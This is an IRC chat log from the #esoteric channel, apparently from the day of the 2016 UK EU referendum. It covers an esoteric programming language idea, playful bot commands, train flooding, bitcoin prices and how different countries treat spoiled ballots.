08:44:55 <^v> a 180 degree lens?
08:44:58 <^v> not impossible
08:45:12 <^v> and doesnt necessarily have to be big
08:45:51 <^v> https://www.amazon.com/180degree-Fisheye-1080p-Angle-Camera/dp/B00LQ854AG
08:46:15 <^v> this can literally look at the sky at all angles and its tiny
08:46:49 <hppavilion[1]> ^v: 360 decrees
08:46:56 <^v> uhh no?
08:47:03 <^v> you would be looking at the ground and the sky
08:48:25 <^v> a 180 degree lens captures a single hemisphere, else you would be looking for a sphere camera which would require some pretty high tech optics if your requirement is not to use multiple cameras
08:49:16 <hppavilion[1]> ^v: Yeah
08:49:40 <hppavilion[1]> ^v: No rule against multiple cameras
08:49:46 <^v> <^v> hppavilion[1], multiple cameras?
08:49:46 <^v> <hppavilion[1]> ^v: *sigh* no
08:49:53 <^v> confused
08:49:56 <hppavilion[1]> ^v: Yeah, I misinterpreted that
08:50:10 <hppavilion[1]> ^v: I thought you were answering that as the name
08:50:22 <^v> i was kinda
08:50:35 <^v> i forgot this was #esoteric
08:50:42 <^v> why not "phisheye"
08:51:01 <^v> phish because the question is a trap
08:54:10 -!- augur has quit (Ping timeout: 250 seconds).
08:54:50 <hppavilion[1]> ^v: Your reference to phishing puts you on the FBI watchlist; we'll need to collect a fine
08:57:07 <hppavilion[1]> ^v: Please send USD$5,200 to BTC:1JrY2sCDAQuRPdqshZFxfiuQ32Uexmc6so
08:57:48 <^v> k
08:58:53 -!- sebbu has joined.
08:59:40 -!- Destructible has joined.
08:59:43 <Destructible> hi
08:59:59 <^v> Destructible, hello
09:00:42 <Destructible> I had an idea for an esoteric language
09:00:47 <^v> sure
09:02:39 <Destructible> I think it is a pretty good and original idea
09:02:53 <^v> what is it? (i promise i wont steal it)
09:03:08 <^v> i have a pretty original idea for one too, using only ^ and v
09:03:20 <^v> memory struture and commands consist of a binary search tree
09:03:29 <^v> ^ goes up v goes down
09:03:30 <Destructible> Is your name based on that
09:03:35 <Destructible> ?
09:03:40 <^v> the language is based on my name
09:03:47 <Destructible> ok
09:04:22 <Destructible> so, the main distinguishing feature of this lang is twofold
09:04:59 <Destructible> Variables are functions. Variable/functions are numbers
09:05:43 <Destructible> Variable values cannot be accessed: There are no conditionals, or accessing of values.
09:06:03 <hppavilion[1]> I can't make ^v's promise
09:06:28 <^v> hppavilion[1] is going to copy a brainfuck derivative
09:06:43 <hppavilion[1]> ^v: I didn't say I /would/ steal it
09:08:25 <Destructible> so, every program is a base seven number, however it uses specific characters for each digit: +, for example
09:08:58 <Destructible> The reason that it is thought of as a number, is because it can be incremented
09:09:47 <^v> so the recipe for a good esolang is
09:09:49 <^v> simple
09:10:00 <^v> unintuitive, but not limiting
09:10:47 <Destructible> Nothing in this language is expressly introduced for difficulty of programming, like intercal's please stuffs, or do, for example.
09:11:14 <^v> well if you make it too easy where is the fin?
09:11:16 <^v> fun*
09:11:27 <Destructible> I never said it was easy
09:11:52 <Destructible> It's still a turing tarpit
09:11:55 <Destructible> maybe
09:11:59 <Destructible> assuming its tc
09:13:16 <Destructible> This language is one of the most reflective lanugages
09:13:23 <Destructible> If it is not the most reflective
09:13:48 <Destructible> Functions are not declared, they are assumed to exist at all times, and are simply modified
09:14:49 <Destructible> Oh, I just had an idea for how to implement a conditional substitution.
09:15:27 <Destructible> I'll probably be back
09:15:31 -!- Destructible has quit (Quit: Page closed).
09:18:43 -!- lambda-11235 has quit (Quit: Bye).
09:19:25 -!- AnotherTest has joined.
09:38:20 <izabera> `unidecode ㍰
09:38:42 <hppavilion[1]> Hm, there's TIL- Today I Learned
09:38:49 <hppavilion[1]> But there's no THL- Today Humanity Learned
09:38:50 <HackEgo> ​[U+3370 IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR]
09:39:33 <b_jonas> h#esotericllo
09:41:18 <izabera> that's going too far -_-
09:42:07 <b_jonas> \oren\: ping
09:42:49 <b_jonas> @tell \oren\ in http://www.orenwatson.be/verne.htm , in the cyphered version, on the top row second block, you're missing on the top row second block, you're missing
09:42:49 <lambdabot> Consider it noted.
09:44:03 <b_jonas> This channel is silent now because all the Brits are in the voting rooms, right?
09:44:28 <b_jonas> (And a third of the channel is Brittish, the other third is Finnish.)
09:45:16 -!- MoALTz has joined.
09:48:01 -!- Destructible has joined.
09:48:04 <Destructible> hi
09:51:13 <Destructible> hello
09:58:01 -!- Destructible has quit (Quit: Page closed).
09:58:22 -!- Destructible has joined.
09:58:27 <Destructible> hello
10:05:58 -!- xkapastel has quit (Quit: Connection closed for inactivity).
10:13:09 <Destructible> HI]
10:13:28 -!- Destructible has quit (Quit: Page closed).
10:18:15 <shachaf> `thanks Cale
10:18:21 <HackEgo> Thanks, Cale. Thale.
10:18:33 <Cale> `thanks ants
10:18:34 <HackEgo> Thanks, ants. Thants.
10:18:52 <Cale> very memes
10:19:49 <Cale> `? new albumen
10:19:51 <HackEgo> new albumen? ¯\(°​_o)/¯
10:19:51 <shachaf> `thanks yanks
10:19:52 <HackEgo> Thanks, yanks. Thyanks.
10:19:57 <shachaf> scow
10:20:04 <shachaf> `thanks banks
10:20:05 <HackEgo> Thanks, banks. Thanks.
10:20:06 <Cale> `thanks thanks
10:20:07 <HackEgo> Thanks, thanks. Thanks.
10:20:21 <nortti> `run cat $(which thanks)
10:20:22 -!- Phantom_Hoover has joined.
10:20:23 <HackEgo> ​#!/usr/bin/perl -CSDA \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Thanks, $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/Th/; } else { s/^./T/; } print "$_.";
10:20:31 <Cale> `thanks anks
10:20:32 <HackEgo> Thanks, anks. Thanks.
10:20:58 <Phantom_Hoover> `thanks hanks
10:20:59 <HackEgo> Thanks, hanks. Thanks.
10:22:27 <nortti> `thanks nks
10:22:29 <HackEgo> Thanks, nks. Tks.
10:22:35 <lifthrasiir> tsktsk
10:23:04 <b_jonas> `thanks you
10:23:06 <HackEgo> Thanks, you. Thyou.
10:23:17 <Phantom_Hoover> er
10:40:47 -!- MoALTz has quit (Quit: Leaving).
10:41:24 <shachaf> `cat bin/makelist
10:41:26 <HackEgo> file="bin/$1"; shift; cp bin/emptylist "$file"; for n in "$@"; do echo "$n" >> "$file"; done
10:41:33 <shachaf> `makelist stylist
10:41:37 <HackEgo> No output.
10:42:19 <shachaf> `makelist idealist
10:42:25 <HackEgo> No output.
10:42:33 <shachaf> `makelist minimalist
10:42:36 <HackEgo> No output.
10:42:37 <shachaf> enough lists
10:42:40 <fizzie> ^thanks banks
10:42:40 <fungot> Thanks, banks. Thanks.
10:42:48 <fizzie> ^show thanks
10:42:48 <fungot> >2,[>,]+15[>+6>+7>+3>+2<4-]>-6.>-.-7.+13.-3.+8.>-.>+2.<5[<]>[.>]>3+2.>.<3.<2[<]>[[-<2+>+>]+<-97[-4[-4[-6[-6[-4[>-<[-]]]]]]]>[[>]>2-11.<3[<]<.>3[.>]>3.>5][-]>]<3[[<]>2[.>]>5.>2]
10:42:52 <shachaf> i was going to use stylist to insult someone by calling them a pig
10:42:57 <shachaf> which i guess is a popular insult
10:43:14 <shachaf> but then i didn't want to insult anyone
10:43:34 <shachaf> ^show thanks. shanks.
10:43:44 <fizzie> All the trains are being wonky. :/
10:43:55 <shachaf> oh man
10:44:03 <shachaf> you know who wants to hear about wonky trains
10:44:34 <Taneb> fizzie, yeah, apparently the underground flooded?
10:44:39 <fizzie> "Poor weather in the south of England is causing disruption to South West Trains services. Passengers are advised not to travel."
10:44:58 <fizzie> Taneb: I haven't even gotten that far yet.
10:45:09 <Taneb> Oh no!
10:45:36 <Taneb> Luckily a) I am not planning to travel today, and b) I'm very much not in the south of England
10:45:58 <shachaf> i'm in a similar position
10:46:05 <b_jonas> `8-ball Is the underground flooded?
10:46:06 <HackEgo> Most likely.
10:46:10 <b_jonas> `8-ball Have you voted yet?
10:46:11 <shachaf> Except I'm planning to travel to San Francisco today.
10:46:16 <HackEgo> You may rely on it.
10:46:23 <Taneb> shachaf, well, I'm not in the south of England, and you're not in the south of England
10:46:24 <shachaf> fizzie: What kind of flour do I use?
10:46:34 <shachaf> Taneb: let's call the whole thing of
10:46:44 <b_jonas> shachaf: wheat flour
10:46:59 <fizzie> District line from the Wimbledon direction would've been my fallback option for these trains, but apparently that's indeed flooded.
10:47:01 <Taneb> shachaf, I'll call it off when I find someone who says potato like that
10:47:26 <fizzie> shachaf: Semi-coarse.
10:47:38 <shachaf> b_jonas: What protein content?
10:49:30 <shachaf> «Flours between 90 and 160 W are called "weak flours".»
10:49:38 <shachaf> I never considered the wattage of my flour before.
10:50:26 -!- Destructible has joined.
10:50:27 <Destructible> hi
10:51:09 -!- MoALTz has joined.
10:51:19 <shachaf> @todo
10:51:19 <lambdabot> 0. SamB: A way to get multiple results from a google search
10:51:19 <lambdabot> 1. dons: improve formatting of @dict
10:51:19 <lambdabot> 2. dons: write Haskell Manifesto
10:51:19 <lambdabot> 3. lispy: don't let lambdabot's prettyprinter split the sequence @foo across lines
10:51:19 <lambdabot> 4. TheHunter: priviledged users should get priviledged listcommands.
10:51:21 <lambdabot> [43 @more lines]
10:55:56 <Cale> ;___; such nostalgia
10:55:59 <int-e> that list must be a decade old
10:56:17 <Cale> @more
10:56:17 <lambdabot> 5. TheHunter: @type 1 :: Int
10:56:17 <lambdabot> 6. lispy: haddock gives a link from a type signature to the types. It would be nice if it also let you find functions in the given module that use a type.
10:56:17 <lambdabot> 7. dons: Implement @whatis
10:56:17 <lambdabot> 8. dcoutts: implement @cool list, as a clone of the @todo(-add) commands
10:56:17 <lambdabot> 9. dons: there's some bug in the 'when i left' code of @seen
10:56:19 <lambdabot> [38 @more lines]
10:56:24 <int-e> `? priviledge
10:56:29 <HackEgo> priviledge? ¯\(°​_o)/¯
10:56:46 <int-e> :t 1::Int
10:56:46 <Cale> @cool
10:56:46 <lambdabot> unexpected end of input: expecting number, "d" or "("
10:56:47 <lambdabot> Int
10:57:06 <int-e> oh. @roll
10:57:24 <Cale> haha, good eye
10:57:26 <int-e> 1d20
10:57:26 <lambdabot> int-e: 11
10:57:34 <int-e> I know the parse error :)
10:57:51 -!- Destructible has quit (Quit: Page closed).
11:02:51 -!- Koen_ has joined.
11:06:51 <b_jonas> `bardsworthlist 2016-06-23
11:06:54 <HackEgo> bardsworthlist 2016-06-23: b_jonas
11:12:38 <hppavilion[1]> b_jonas: What's bardsworthlist for?
11:12:42 <hppavilion[1]> `? bardsworthlist
11:13:06 <HackEgo> bardsworthlist is update notification for the Bardsworth webcomic. http://www.bardsworth.com/
11:13:14 <hppavilion[1]> Oh
11:13:27 <hppavilion[1]> I was hoping it was an update notification for h4gb4rd
11:25:38 -!- Koen__ has joined.
11:27:51 -!- Koen_ has quit (Ping timeout: 240 seconds).
11:30:30 -!- boily has joined.
11:53:13 <hppavilion[1]> BREAKING: Lazy computer scientists prove that P ≈ NP
11:58:10 -!- Destructible has joined.
11:58:12 <Destructible> hi
12:01:51 -!- copumpkin has joined.
12:01:59 <b_jonas> Is it slightly after 23:00 UTC that the voting stations close and exit poll results will be published?
12:02:10 <fizzie> I thought they weren't doing any exit polls for this.
12:02:47 <boily> hppapproximativellon[1]!
12:02:55 <boily> Destructibello!
12:03:04 <boily> b_jellonas! which voting stations?
12:03:07 <boily> fizziello!
12:03:09 <b_jonas> fizzie: what? why would they ever NOT do exit polls
12:03:11 <fizzie> And I think it's 21:00 UTC? At least it's 22:00 BST, and BST is UTC+1.
12:03:20 <b_jonas> boily: the last ones for the Britain EU referendum today
12:03:33 <b_jonas> oh right, it should be 21:00 UTC
12:03:40 <b_jonas> not 23:00 UTC
12:03:54 <fizzie> b_jonas: http://www.independent.co.uk/news/uk/politics/eu-referendum-exit-poll-who-has-won-remain-leave-brexit-live-updates-a7094886.html "EU referendum: Why is there no exit poll for the vote?"
12:08:06 <boily> if the UK leaves, will Taneb be able to join this chännel?
12:10:39 <b_jonas> fizzie: I see.
12:11:00 <Destructible> I think that my new idea for an esolang will be good. Would you like me to describe it?
12:11:11 <b_jonas> That means I'll find out the result tomorrow.
12:11:27 <Yurume_> boily : as long as this channel keeps the strait of Dover
12:12:14 <boily> Yurumello_. that is unconditional. Dover is us!
12:12:18 <boily> Destructible: describe away!
12:12:22 <b_jonas> boily: I think he will be, but he'll have to use a different server. This is *relay* chat, which means there can be a relay link between the EU and UK servers.
12:13:19 <Destructible> My esolang is what I think is a very original idea, or at least a collection of ideas that are a unique collection
12:14:20 <boily> Yurume_: have I ever asked you the The Question?
12:14:22 <hppavilion[1]> Are there any problems that are /literally/ unsolvable on CCs but not on QCs?
12:14:55 <Yurume_> boily : is that The Question?
12:15:20 <Destructible> A program in this esolang consists of a sequence of 7 characters. Other characters are syntax errors. These characters are: [space], |, _, +, -, *, ^, @.
12:16:09 <Destructible> This forms a base seven number. The fact that it is a number is, in fact, relevant (There is a reason that it is a number, compared to other languages)
12:16:14 <boily> Yurume_: no, the The Question is: what are your approximative geographic coördinates and body weigh?
12:16:50 <Yurume_> have I said that I am an alter ego of lifthrasiir?
12:17:41 <b_jonas> Destructible: you realize those are eight characters, right/
12:18:02 <Destructible> wait a minute
12:18:09 <Destructible> I did something wrong right now
12:18:10 <Destructible> lol
12:18:24 <Koen__> do you mean a sequence of characters, where the only legal characters are those seven? or do you mean the program should be seven characters long?
12:18:30 <Destructible> I did it wrong because of the way numbers are represented
12:18:43 <Destructible> anyway, it is base eight then
12:18:51 <Destructible> DX
12:18:57 <Destructible> continuing
12:19:19 <boily> Yurume_: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAURGH!
12:19:34 <Destructible> Space is a nop. this is used as the default values of digits.
12:20:26 <Destructible> | causes all code until the next | to be considered as a function name. This function becomes the active function
12:20:27 <Yurume_> boily : (mobile bouncer to be exact. this nick is also what I use for moznet)
12:21:02 <Yurume_> boily : a mobile bouncer to be exact
12:21:02 <Destructible> Active function simply allows commands that affect the active function to work on it. It does not run the function
12:21:12 <Yurume_> and I use this nick in moznet
12:21:22 <b_jonas> Yurume_: right
12:22:48 <Destructible> _ causes all code until the next _ to be interpreted as a number in base seven . the next command is executed this many times.
12:23:04 <Destructible> (this is why I made the mistake)
12:23:20 <Destructible> + increments the current function
12:23:34 <Destructible> - does what you probably think
12:23:53 <Destructible> @ executes the current function
12:24:53 <boily> I shall depart in shame and go shower my mind with the cleansing ritual hot water and soap. my ability to distinguish alternative nicks is unacceptable!
12:25:00 -!- boily has quit (Quit: PINEAL CHICKEN).
12:25:02 <Destructible> once the current function is done, it will return to the digit that has the same significance as the one the function was called from, in the function it was called from (because functions are layered)
12:26:20 <Koen__> speaking about nicks, the nick Koen is register on freenode
12:26:24 <Koen__> I need to change my name
12:28:16 <Destructible> * turns all code until the next * into a number. It inserts a digit so that it will be this number up in signifcance. example of digit numbers: +<-3 +<-2 +<-1 -<-0
12:29:09 <Destructible> ^ turns all code until the next ^ into a number, and removes the corresponding digit from the actuve function
12:29:23 <Destructible> clarification: * inserts into the active function
12:29:41 <Destructible> also I made a mistake
12:29:48 <Destructible> It isn't actually base 7
12:30:15 <Destructible> it is an unorthodox numbering system
12:30:31 <Destructible> " +"≠"+"
12:30:47 <Destructible> this might explain
12:30:48 <Destructible> 0 = [null] 1 = " " 2 = "+" 3 = "-" 4 = "@" 5 = "|"/"_" 6 = "^"/"*" 7 = "*"/"_" 8 = " " 15 = "+ " 57 = " "
12:30:59 <Destructible> Part of the info is encoded into the amount of digits
12:31:27 <Destructible> OMG
12:32:13 <Destructible> I submitted a comic to a site, and they uploaded it! (The community contributes all the comics)
12:38:34 -!- Etaoin has joined.
12:38:44 <Destructible> hi
12:38:50 <Etaoin> ey
12:39:28 <Destructible> I just got my comic uploaded to a comic site (where the community contributes)
12:40:01 <hppavilion[1]> Don't you hate it when you watch a video and think "Huh, interesting, I'll have to look into that later"
12:40:11 <hppavilion[1]> And then forget everything but a single detail about the video?
12:40:21 <Etaoin> yeeeaah that sounds nasty
12:40:27 <Etaoin> what kind of comic?
12:41:46 <hppavilion[1]> Oh hai der etaoin
12:42:06 <Etaoin> there's probably another etaoin :(
12:42:22 <Etaoin> I just stole this username for now
12:43:25 <Etaoin> does anyone know of a quantum turing machine programming language? as in something like brainfuck that'd run on a quantum computer/simulator
12:44:02 <Etaoin> nvm I found it https://esolangs.org/wiki/Quantum_brainfuck
12:44:28 <Destructible> The comic site is "Square root of minus garfield". It consists of garfield edits
12:45:49 <Etaoin> are you Nyperold?
12:46:16 <b_jonas> Etaoin: note that most esolangs with "quantum" in their name or first paragraph of the description don't actually have anything to do with quantum computing
12:47:02 <Etaoin> @b_jonas how come?
12:47:02 <lambdabot> Unknown command, try @list
12:47:09 <Etaoin> b_jonas, how come?
12:48:14 <Destructible> would you like a link to my comic, that got uploaded?
12:48:44 <Etaoin> that'd be nice yeah
12:48:59 <b_jonas> Etaoin: quantum is just a popular buzzword that people try to invoke
12:49:16 <Destructible> http://www.mezzacotta.net/garfield/?comic=2590
12:50:21 <Etaoin> these are way too abstract for me :D
12:50:45 <Destructible> The comic?
12:50:57 <Etaoin> all of them on the website
12:51:14 <Destructible> Yeah
12:53:03 <Destructible> If they are too abstract, there is always the memes. T̨H̕ey ͡n͢ever ̶go͟ ͘away
12:53:14 <Destructible> T͌͒̆ͤ͜H̴ͭ͂̿̚ȅͨ ̵ͩͩ̈͌̉̔̆m͆̊ͣ̿͒̇ͭėͣ̈́m͢eͭ̽ͧ̏͒͑҉s̓ ̷ͨ͆̿wͣ̃͢i͞l̨ͪ͊́ͥl̷̅̈́̋ ̷n̷ͤ̀͛̒̇̆̅evͣ͛̉͂͏e͐̾rͣ͌͐͆ͫ̄ ̋́͢l͑e̷̅ͯä͆̏͛͞vͫ͗̂̐̚ȅ̃ͣͪ̌̚̚
12:54:16 <Destructible> T͕̫̟̬̠̘ͅh͙͎̹̳͉̘ͯ̊̔̚è̹͓ͩ ̟̞̭͑͌̊̃ͪ͟p̄̈́ͥͥͨͣu̜̬͈̻͇ͥ͌ͅd̲̊̇̾̋͑͘d̻̻͉̱̟̯̜i̸̝̭ͤ̑ͨ͌ͣn̜̗͔̠̂ͦͦͨ͆͛̀g̴͖̠̮͔̭͌̔̂ ̹ͦ́͋͠p̌̄̽̊̽o̶̝̅͋ͮp̤͔͚̥̿ͤͥͫs̹̹̏ ͤ̂ͭ̔̽̽a̻͚͐̄̒ͫ̆r̛͍̭͍̬̖̬̆ͣ̉e̯̩̜̠ Ę̶̸̛̮̦̞͈͚͇̙̤͚̰͉̥͖̔ͥ̀̈͞ͅt̸͐̆ͮ̉̃҉̨̦̜̱̠̮̟̜̳̯̦͎͟ę̴̹͓͕̝̜̖̦͐̍ͭͦ̋͌͑̒͊ͣ͜
12:54:34 <Destructible> T̵͎̻̙̜̭̆̐͒̉̊͐ͮ̉ͫ̏͜͡͞H̷̛̩͕̩̬͖̙̗̲̩̣͚̼͈̖̼̝̔͌ͮ̈́̈́̓̏͗͒ͫ̿́ͦͣ̾́̚͝ͅE͉̞͔̭͇͖̤̼̯̞̹̓̓̔̅̆ͩͣ͑͆̂͗͛͌ͯ̀́ ̢̮̣̝͖͎̐͋ͯ̾ͦ̾ͨͥ̓ͥ͆͟P̲̹̝̠̼͇͖̞͓̞̘̻̫̏̆͂͒ͮͥ̄̕ͅŲ̶̶̤̻̤̪͍̳̲̞̪̣͚̬̦̬ͦ͛̐ͦͤ̐̊͘͞ͅD̸̡̡̬͉̼̻̰̻͎̙̤͓̖̤̼ͦ͋ͣͤ̃̄̑ͩ̌̄ͤͤ͐ͨͫ̊̚D̶̛͉̤̫̜̗͍͂̍ͥ͂͑̿̔̊̌̒̋͜͜ͅĪͩͦ̚Ì
12:55:03 <Destructible> T̵̨̈́ͤ́̏́̾̇̚͏̗̠̙̹̖̺͇̮͈̣̠̩̼H̸̷͍̰̣̤̲̩̩̗̗̲̺̬̩̜̟ͯͧ̉̓̔̍̄ͩ͛̑ͣͨ̓͂ͧ́̚͝ͅḛ̴̛̪̭ͬͫ̿ͤ̇͛̂̿̑̾̀̆̄̚̕͟ÿ̵̧̬̫̭́̍̑ͦ̇̾̎͗ͅ ̷̴̱̪̪̭͕̝͓̩̠̝̪̬̼̯̩̻̭ͨ͒̐͐̋ͦ͆ͩͤ̈́̽̔ͤ͋̊ͭ̕ͅͅĉ̨̼͕͔͉̖̹̰̠̫̭̞̼̤ͯ͂̎͗ͪ̌͐̑̂͌ͬͥ̄o̵̢̹̗̮̰̣̜̊ͥ͐̈̒͐̃ͧ̄m̷̡̬̦͕̙͕͇̜͓̤̮̺̦ͪ͂͋̒͋̅ͧͨͣ͛̓ͬ͗ͭ̈́̏͝ͅ
12:56:19 <Destructible> P̸̱͕͕̮̜̹̮̜͍͉͝ͅU̵͏҉̴͈̖͓͔̹̼̞̬̳̬͔͖͓͇͔D̢͓̭͈̀̀̀͝D̶͓̲͉̜͉̣̲̝͉̤͍̥͙̞͇̮̠͔͝Ì̡̡̲͉̥̩̘͟Ṉ̢̺͈̟̳̳͙͈͔̰̺̼̲̝͚͉̙̗̲͟G͎͓̥̼̰͎̝̫͕̪̺̥͎͎͇̱͎̕͘ ̶̛̲͍͙͇̦͇̯̰̫̹̱͞P̶҉͡҉͚͓̫̹̮͍̘Ǫ̶̶̭͔̰̩̺̯̮̣͓̼̟̯͡P̨͉̭̪̗̼͖̮͉͕̮͖ͅͅS̴͟͜҉̨̖̟͖͈͇̪̲͇͚̱̱͍̭̳͎͙.̴̛͙̞̞̩̩̬͖͓͞͞ ̡̩͍̪̙͝͡Ţ̢Í
12:56:30 <myname> wtf
12:56:51 <Destructible> PUDDING POPS. AUAHAAUA
12:56:58 <Destructible> P̵̡̞͈͕̹̒̐̀͛ͮ̿ͫͨ̑̈̿̊ͪ̈ͣ̾̎̑Ư̡̨͈͕̰̰̺̘̦̮̠̝͎̺̲ͪ̾ͨ̑ͨͫ̈́ͦ͋̈́͜͢D̵̡̻͎͙̜̖͍̩̩̩̙̫̜͊̈́ͦ̅̆̔̈ͨͮ͐̌͋̾̐̏̿ͥ̿́̀ͅD̶̛͇͈͈̹̰̬̖̝̞̻̲̦̠̳ͭͦ̄̎͛ͤ̋̅ͮ̔̈̌̓͆́ͣͩ͟Iͤͧ̽̇͠͏̶̮͍̻̻͕̞͕͞N̮͇͙̗͕͈̯̗̹͚͎̣̼̯̞̞̭̔̉͗̄̔ͭ̇̄ͯ̅ͥ͊͆̑ͦ̊͝ͅĢ̷̜̟̘͔͚̬͉̲̗̞̼̣͎̬̺͔̮̤̝͐ͥͫͫ͌͂̄ͭ̿ͩ͆̓̀̀̚͝ ̓̃
12:57:01 -!- Destructible has quit (Quit: Page closed).
13:02:23 -!- Koen__ has quit (Remote host closed the connection).
13:05:31 -!- Destructible has joined.
13:05:35 <Destructible> I'm back
13:14:51 -!- Destructible has quit (Quit: Page closed).
13:16:18 <hppavilion[1]> Oooh, it looks like sin'(x) is the same as cos(x)
13:18:24 <quintopia> why put the ' there
13:20:13 <Etaoin> derivative
13:20:25 <Etaoin> cos'(x) is -sin(x) tho
13:20:44 <Etaoin> it's a nice little pattern akin to exponentiating i
13:21:41 -!- Koen_ has joined.
13:22:26 <Etaoin> sin'(x) = cos(x), cos(x)' = -sin(x), -sin'(x) = -cos(x), -cos'(x) = sin(x); similarly i^2=-1, i^3 = -i, i^4 = 1, i^5 = i
13:23:00 <Etaoin> always thought it was a neat similarity
13:24:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
13:24:33 <Etaoin> whichever community I join there's always a person called dingbat, it's remarkable
13:28:00 -!- Sgeo_ has quit (Ping timeout: 246 seconds).
13:33:49 -!- Etaoin has quit (Quit: Page closed).
13:36:39 -!- Koen_ has quit (Remote host closed the connection).
13:44:25 <fizzie> It's all because of circles.
14:19:02 -!- Koen_ has joined.
14:19:34 <izabera> is it always the same dingbat?
14:35:57 -!- heroux_ has joined.
14:36:04 -!- heroux has quit (Read error: Connection reset by peer).
14:36:20 -!- heroux_ has changed nick to heroux.
14:47:54 -!- `^_^v has joined.
14:54:29 -!- Alcest has joined.
14:59:36 -!- oerjan has joined.
15:01:40 -!- Sgeo_ has joined.
15:14:02 -!- heroux_ has joined.
15:15:08 -!- heroux has quit (Ping timeout: 244 seconds).
15:15:12 -!- heroux_ has changed nick to heroux.
15:16:33 <oerjan> hm bitcoin bubble bursting
15:23:32 <Taneb> Again?
15:23:56 <b_jonas> pop the balloons!
15:24:00 -!- spiette has joined.
15:25:18 <fizzie> A big balloon was popped here a while ago.
15:25:22 <fizzie> It made quite a bang.
15:25:55 <fizzie> (Apparently the ceiling has some pointy bits.)
15:26:02 <int-e> oh it's approaching another halving... that may be fun to watch
15:27:18 -!- bradcomp has joined.
15:40:17 -!- iaglium has joined.
15:51:14 <quintopia> oerjan: dammit. couldnt it wait one more day?
15:51:44 <oerjan> were you going to sell
15:53:10 <quintopia> i was going to make a purchase. i had just barely enougb. now i have not enough.
15:53:49 <oerjan> :(
15:54:21 <quintopia> so i guess ill buy?
15:54:34 <b_jonas> quintopia: don't worry, your GBP will also be worth either much more or much less than now tomorrow evening.
15:54:41 <b_jonas> so the bitcoin isn't the only thing that changes
15:55:29 <quintopia> i have no GBP holdings
15:56:59 -!- Koen__ has joined.
15:59:02 -!- Koen_ has quit (Ping timeout: 244 seconds).
16:01:43 -!- Guest51928 has quit (Changing host).
16:01:43 -!- Guest51928 has joined.
16:01:48 -!- Guest51928 has changed nick to JX7P.
16:04:56 <b_jonas> quintopia: the EUR holdings will also change somewhat, I think
16:09:31 <fizzie> There were people at the train stations wanting me to vote in a certain way.
16:09:47 <fizzie> One of them tried to give me an "I'm in" button.
16:10:48 -!- Koen__ has quit (Remote host closed the connection).
16:10:57 -!- bender has quit (Ping timeout: 250 seconds).
16:11:12 <fizzie> "EU referendum day live: Police called over conspiracy theory about voting with pens"
16:11:27 <coppro> I saw that
16:11:28 <coppro> it's absurd
16:11:38 <fizzie> "Social media claims that Remain supporters are trying to ‘rig’ the election by rubbing out votes cast in pencil led to Brexit supporter Jacqueline Jackson handing out pens at her local polling station in Chichester."
16:12:03 <coppro> I've seen a properly implemented election process
16:12:19 <coppro> there are multiple sets of eyes on the entire contents of the ballot box from the moment it's opened
16:12:32 <coppro> and the box itself is in plain sight throughtout the day
16:15:09 <\oren\> When do the results get tallied on TV?
16:15:26 <quintopia> b_jonas: i have none
16:16:50 <\oren\> I have about 600 pounds in a jar somewhere
16:17:11 <\oren\> and about the same of Euros
16:17:51 <\oren\> because we never rember to change currencies at the airport
16:18:12 <Phantom_Hoover> i took out 300 euros for a holiday just now but i suppose if brexit happens i can make a profit on them
16:19:23 <fizzie> \oren\: They said the result's likely known at around 6-7am Friday local time.
16:19:33 <coppro> the official final result
16:19:46 <fizzie> It's going to start dribbling in before that, of course.
16:19:49 <coppro> the outcome may be clear earlier based on incoming polls
16:19:52 <coppro> my bet's on Remain
16:20:43 <Phantom_Hoover> my favourite thing about the pencil thing is
16:20:49 <fizzie> I don't have a bet, but I'd like it to be that. Of course nobody's asked me, and I'm one of those people the other camp would presumably want to keep out, so.
16:21:07 <Phantom_Hoover> you can just scribble out a cross written in pen and put a cross in the other box
16:21:14 <Phantom_Hoover> and that'll be interpreted as a clear preference anyway
16:21:41 <\oren\> Hmm? in Canada you have to fill the entire square
16:21:51 -!- Koen_ has joined.
16:21:53 <Phantom_Hoover> apparently in the western isles they once had a ballot with 'wank' written next to all of the candidates except for the snp one who had 'good guy' written there
16:22:03 <Phantom_Hoover> and that was considered clear enough to be counted
16:22:12 <fizzie> In Finnish elections, you type in a number inside a giant circle. The polling stations have a sample sheet of how to write numbers on the wall.
16:22:31 <\oren\> Phantom_Hoover: LOL
16:22:48 <coppro> Phantom_Hoover: lol
16:22:49 <fizzie> http://static.liljat.fi/uploads/2012/10/melissa-mantyla-endorses-lilja-tamminen-finnish-ballot-helsinki-municipal-elections.jpg <- looks like that.
16:22:55 <coppro> that wouldn't fly here in canada
16:23:04 <coppro> in canada you can do anything you want as long as you mark in exactly one of the circles
16:23:10 <coppro> any markings in multiple circles invalidate it
16:23:16 <coppro> i saw a duck once
16:23:21 <coppro> it was counted as a valid vote
16:23:55 <fizzie> I believe they're very picky back in Finland, I think many extra things like doodling on the card would invalidate a vote.
16:23:56 <Phantom_Hoover> ??? so you can't correct your own vote?
16:24:08 <coppro> Phantom_Hoover: you can go back to the DRO and ask for a new ballot
16:24:16 <Phantom_Hoover> ah
16:24:30 <coppro> in which case the previous ballot is crossed out, marked as invalidated, and put into a separate envelope to keep it from being counted
16:24:34 <coppro> and you get a new one
16:24:38 <coppro> you can only do that once though iirc
16:25:00 <Phantom_Hoover> no in the UK it's a pretty informal thing, i think basically they put all the spoilt ballots in a big pile and then the representatives of each party haggle over what gets counted for whom
16:25:10 <coppro> Phantom_Hoover: in theory that can happen here
16:25:18 <coppro> in practice it's pretty rare since the rules are generally quite clear
16:26:40 <fizzie> You can request a new ballot in Finland as well, if you screw up. The instruction booklet says they'll rip up the bad one.
16:27:01 <fizzie> Or possibly you do. It's in passive voice, and just says the ripping will be done so that the officials see it.
16:28:06 <fizzie> Ooh, there's a 7-point list in the law as to what sort of markings actually invalidate a vote.
16:28:15 <\oren\> coppro: Really? I thought you had to completely fille whichever box you wnat and do nothing in the other boxes?
16:28:29 <fizzie> 1) There's more than one ballot, or something else in addition to the ballot in the envelope.
16:28:52 <fizzie> 2) There's any markings in the *envelope*.
16:29:11 <fizzie> 3) The ballot is some other piece of paper than the one printed by the government.
16:29:18 <fizzie> 4) The stamp is missing.
16:29:39 <Taneb> Phantom_Hoover, that's what happened when I was involved in the youth parliament, I think on the basis that it would be similar to actual parliament
